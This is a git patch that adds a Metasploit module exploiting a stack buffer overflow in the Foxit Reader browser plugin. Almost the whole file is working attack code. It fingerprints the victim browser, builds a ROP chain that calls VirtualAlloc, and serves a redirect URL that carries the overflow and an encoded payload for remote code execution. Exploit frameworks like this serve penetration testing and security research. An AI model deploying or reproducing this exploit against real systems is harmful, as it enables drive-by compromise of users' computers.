From 69267b82b09204afe3dbbb687b59f5c72402ac6c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 12 Feb 2013 18:44:19 +0100 Subject: [PATCH] Make stable #1318 foxit reader exploit --- .../browser/foxit_reader_plugin_url_bof.rb | 187 ++++++++++++++++++ 1 file changed, 187 insertions(+) create mode 100644 modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb new file mode 100644 index 0000000000..b410c2695a --- /dev/null +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -0,0 +1,187 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpServer::HTML + + Rank = NormalRanking + + def initialize(info={}) + super(update_info(info, + 'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow", + 'Description' => %q{ + This module exploits a vulnerability in the Foxit Reader Plugin, it exists in + the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts, + overly long query strings within URLs can cause a stack-based buffer overflow, + which can be exploited to execute arbitrary code. This exploit has been tested + on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.1128 + (npFoxitReaderPlugin.dll version 2.2.1.530). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # initial discovery and poc + 'Sven Krewitt ', # metasploit module + 'juan vazquez', # metasploit module + ], + 'References' => + [ + [ 'OSVDB', '89030' ], + [ 'BID', '57174' ], + [ 'EDB', '23944' ], + [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ], + [ 'URL', 'http://secunia.com/advisories/51733/' ] + ], + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'EXITFUNC' => "process", + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # npFoxitReaderPlugin.dll version 2.2.1.530 + [ 'Automatic', {} ], + [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.44', + { + 'Offset' => 272, + 'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin + 'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin + :rop => :win7_rop_chain + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 7 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0 + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || '' + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + if os_name == 'Windows 7' and firefox =~ /18/ + return targets[1] + end + + return nil + end + + # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) + def win7_rop_chain + + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] + 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] + 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] + 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] + 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (RETN offset compensation) + 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] + 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00001000, # 0x00001000-> edx + 0x1000d9ec, # XOR EDX, EDX # RETN + 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (compensate) + 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (RETN offset compensation) + 0x41414141, # Filler (RETN offset compensation) + 0x41414141, # Filler (RETN offset compensation) + 0x41414141, # Filler (RETN offset compensation) + 0x00000040, # 0x00000040-> ecx + 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00000001, # 0x00000001-> ebx + 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] + 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] + 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] + 0x90909090, # nop + 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] + ].flatten.pack("V*") + + return rop_gadgets + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + my_target = get_target(agent) + + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + unless self.respond_to?(my_target[:rop]) + print_error("Invalid target specified: no callback function defined") + send_not_found(cli) + return + end + + return if ((p = regenerate_payload(cli)) == nil) + + # we use two responses: + # one for an HTTP 301 redirect and sending the payload + # and one for sending the HTTP 200 OK with appropriate Content-Type + if request.resource =~ /\.pdf$/ + # sending Content-Type + resp = create_response(200, "OK") + resp.body = "" + resp['Content-Type'] = 'application/pdf' + resp['Content-Length'] = rand_text_numeric(3,"0") + cli.send_response(resp) + return + else + resp = create_response(301, "Moved Permanently") + resp.body = "" + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + if datastore['SSL'] + schema = "https" + else + schema = "http" + end + + sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length) + sploit << [my_target.ret].pack("V") # EIP + sploit << [my_target['WritableAddress']].pack("V") # Writable Address + sploit << self.send(my_target[:rop]) + sploit << p.encoded + + resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all') + cli.send_response(resp) + + # handle the payload + handler(cli) + end + end + +end